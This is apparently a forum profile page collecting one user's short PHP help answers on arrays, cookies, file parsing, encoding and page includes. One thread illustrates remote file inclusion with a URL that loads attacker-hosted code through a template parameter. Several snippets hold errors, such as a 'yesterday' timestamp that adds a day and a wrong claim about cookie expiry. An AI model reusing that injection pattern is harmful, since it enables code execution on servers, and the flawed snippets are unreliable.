Masna
-
Posts
288 -
Joined
-
Last visited
Posts posted by Masna
-
-
array_multisort() should do the trick, but I see that you have that in there already. Can you post what the $list starts as, and what it ends as (after applying array_multisort())?
-
Its stupid to say tables are outdated, I personally prefer them than using just pure CSS. And yes you can DEFINATELY have PHP code in your div tags.
You're one of a kind then, because everyone I know who has taken the time to learn how to correctly and effectively use purely CSS when developing a web layout has fallen in love and would never go back to using tables!
-
Variables like a referrer are always stored in URI variables (information included in the URL that brings you to a specific site/page).
For example, you might see a link like... http://site.com/signup.php?referrer=ahvceo
You can access this referrer variable using the predefined $_GET array:
$referrer = $_GET['referrer']; //$referrer now stores your name!
Hope this helps!
-
72. I'm very impressed. It's very refreshing to see someone of your age to be interested in new ideas and willing to open his mind and learn new things.
I wish you the best of luck with your PHP programming!
-
$file_string = file_get_contents("saved_data.dat"); $rows = explode("\n", $file_string); //if this doesn't work, try \r\n or just \r foreach($rows as $value){ $vars = explode("|", $value); echo "<b>".$vars[0]."</b><br>"; echo $vars[1]."<br>"; echo $vars[2]." at ".$vars[3]."<br>"; echo $vars[4]." at ".$vars[4]."<br>"; }
-
I can read and right its the formatting of read data
parsing manually ???
Well, there's no one specific way to parse data. Just come up with a format that works for this situation. Create your own key characters for splitting individual pieces of data up, and use functions like explode() to parse to usable PHP information (arrays, variables, etc).
-
Turn error_reporting on, and post the errors printed:
error_reporting(E_ALL);
-
Look into file_put_contents() and file_get_contents(). You can use the first to write to a .dat file and the second to read from it (passing and getting strings, respectively).
You'll have to do the parsing manually.
-
$query = mysql_query("SELECT * FROM `table`"); //assuming said table has only one row of information $assoc_array = mysql_fetch_assoc($query); foreach($assoc_array as $key=>$value){ if($key != "the_one_specific_field"){ echo $value; } }
-
To your first set of questions: I have no clue what you're asking, so I'm going to say yes.
To your second: overflow: auto;
-
back in the back people use to
that code above is very bad! security issues!
Care to elaborate?
okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...
let me explain how it works...
hack code will be in file called hack.txt
your url will read...
http://www.site.com/page.php?template=index.php
all I would have to do is...
http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...
its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.
----
apologize, I miss read your code, its some what security proof although not a way I would do it.
LOL!
Did you even read the code I posted? I didn't include whatever was filled in the appropriate $_GET variable, I used an if--else-if to check to see if whatever was filled in the appropriate $_GET variable matched one of a few various, specific cases.
Pay attention, and apply what you know to situations which you encounter in life. Don't just regurgitate what you know from what has happened in potentially similar cases. It's a very easy trap to fall into. And it makes you look quite stupid.
apologize, I miss read your code, its some what security proof although not a way I would do it.I appreciate the apology. And, it's completely "security proof." Why wouldn't you do it? It's organized, simple, and effective.
-
that code above is very bad! security issues!
Care to elaborate?
-
Ok just to be sure, so this is ok to use, it's 'good technique' and my blog.html file will NOT pop up without its parent right?
Right.
-
<?PHP include('header.php'); if($_GET['content'] == 'example') include('example.php'); else if($_GET['content'] == 'anotherexample') include('anotherexample.php'); include('footer.php'); ?>
-
<form action="./tester.php" method="GET"> <div align="center"> <select name="state" onchange="this.form.submit();"> <option>Choose One To Submit This Form</option> <option value="CA"<?PHP echo ($_GET['state'] == "CA")?" selected=\"selected\"":NULL; ?>>CA</option> <option value="TX"<?PHP echo ($_GET['state'] == "TX")?" selected=\"selected\"":NULL; ?>>TX</option> </select> </div> </form>
On a side note, there's usually no such thing as an "align" property. Try...
<div style="margin-left: auto; margin-right: auto;">CONTENT</div>
-
Because of how you're setting the cookies, it looks as if they'll never be set long enough to be deleted.
setcookie("HCC","1",0, "/","www.123.com",0);
The third parameter here is the date of expiration as a UNIX timestamp. You have 0, so, if I'm not mistaken, the cookie is deleted as it's set.
Try this:
setcookie("HCC","1", time()+42000, "/","www.123.com",0);
-
How are you generating these mysterious links? Are they all generated using PHP? Or, are you manually, statically placing them in various positions throughout your site?
-
$file = mb_convert_encoding(file_get_contents("file.txt"), "ISO-8859-8");
Don't forget to include the following in the <head> tags of the HTML document you're attempting to display said text in:
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-8">
-
So my question is, when Google, Yahoo, Msn, etc do their indexing, will they find these entries as part of my home page?
Yes.
-
View source?
-
Might I suggest using UNIX timestamps instead of MySQL DATETIME format.
$yesterday = time() + (60*60*24);
-
mysql_escape_string()
-
Modify your foreach loop:
foreach($array as $key=>$value){ //you can use $key here as the key of each element in $array }
-
This is really not the most appropriate place to post a question like this. I suggest contacting PayPal's business-customer support via phone.
Problem with text file in other language
in PHP Coding Help
Posted
Well I guess you would have to encode it before writing, then write.
EDIT: Actually, don't quote me on this. I'm not sure, to be honest. Try writing without encoding, and see if things go according to plan.